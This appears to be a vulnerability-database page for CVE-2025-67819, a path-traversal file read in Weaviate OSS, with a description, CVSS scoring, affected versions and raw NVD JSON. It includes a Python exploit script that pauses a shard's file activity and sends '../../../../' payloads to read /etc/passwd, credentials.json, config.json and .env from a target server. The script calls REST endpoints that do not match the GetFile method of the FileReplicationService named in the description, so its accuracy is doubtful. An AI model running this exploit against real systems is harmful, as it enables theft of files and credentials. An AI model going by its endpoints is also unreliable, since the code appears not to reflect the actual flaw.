Security Vulnerability Report
中文
CVE-2025-67819 CVSS 4.9 MEDIUM

CVE-2025-67819

Published: 2025-12-12 17:15:46
Last Modified: 2025-12-19 15:38:43

Description

An issue was discovered in Weaviate OSS before 1.33.4. Due to a lack of validation of the fileName field in the transfer logic, an attacker who can call the GetFile method while a shard is in the "Pause file activity" state and the FileReplicationService is reachable can read arbitrary files accessible to the service process.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:weaviate:weaviate:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:weaviate:weaviate:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:weaviate:weaviate:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:weaviate:weaviate:*:*:*:*:*:*:*:* - VULNERABLE
Weaviate OSS < 1.33.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-67819 PoC - Weaviate OSS Arbitrary File Read # This PoC demonstrates the file path traversal in GetFile method import requests import json TARGET = "http://target-weaviate-server:8080" API_KEY = "your-api-key" # High privilege API key required headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } def trigger_pause_file_activity(): """Trigger the shard to enter 'Pause file activity' state""" pause_url = f"{TARGET}/v1/shards/pause-file-activity" payload = { "className": "YourClass", "shardName": "target-shard" } response = requests.post(pause_url, headers=headers, json=payload) return response.status_code == 200 def exploit_file_read(filepath): """Exploit the GetFile method to read arbitrary files""" file_read_url = f"{TARGET}/v1/files/read" # Construct malicious request with path traversal payload = { "className": "YourClass", "shardName": "target-shard", "fileName": f"../../../../{filepath}" # Path traversal } response = requests.get(file_read_url, headers=headers, params=payload) if response.status_code == 200: print(f"[+] Successfully read file: {filepath}") print(f"[+] Content:\n{response.text}") return response.text else: print(f"[-] Failed to read file: {filepath}") return None def main(): print("[*] CVE-2025-67819 Weaviate OSS Arbitrary File Read Exploit") # Step 1: Trigger pause file activity state if not trigger_pause_file_activity(): print("[-] Failed to trigger pause state") return print("[+] Shard entered 'Pause file activity' state") # Step 2: Read sensitive files sensitive_files = [ "etc/passwd", "weaviate/config.json", "weaviate/credentials.json", ".env" ] for filepath in sensitive_files: exploit_file_read(filepath) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67819", "sourceIdentifier": "[email protected]", "published": "2025-12-12T17:15:45.697", "lastModified": "2025-12-19T15:38:42.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Weaviate OSS before 1.33.4. Due to a lack of validation of the fileName field in the transfer logic, an attacker who can call the GetFile method while a shard is in the \"Pause file activity\" state and the FileReplicationService is reachable can read arbitrary files accessible to the service process."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:weaviate:weaviate:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.30.0", "versionEndIncluding": "1.30.19", "matchCriteriaId": "AB306075-3057-4BB2-AE5B-2C921334F225"}, {"vulnerable": true, "criteria": "cpe:2.3:a:weaviate:weaviate:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.31.0", "versionEndIncluding": "1.31.18", "matchCriteriaId": "CC712431-DA4B-453B-8F98-5105AAB29254"}, {"vulnerable": true, "criteria": "cpe:2.3:a:weaviate:weaviate:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.32.0", "versionEndIncluding": "1.32.15", "matchCriteriaId": "469882C7-C780-4374-8C38-60F39ADF012A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:weaviate:weaviate:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.33.0", "versionEndIncluding": "1.33.3", "matchCriteriaId": "14DB7679-8ED5-4315-8D6E-82895E5DB466"}]}]}], "references": [{"url": "https://github.com/weaviate/weaviate", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://weaviate.io/blog/weaviate-security-release-november-2025", "source": "[email protected]", "tags": ["Release Notes"]}]}}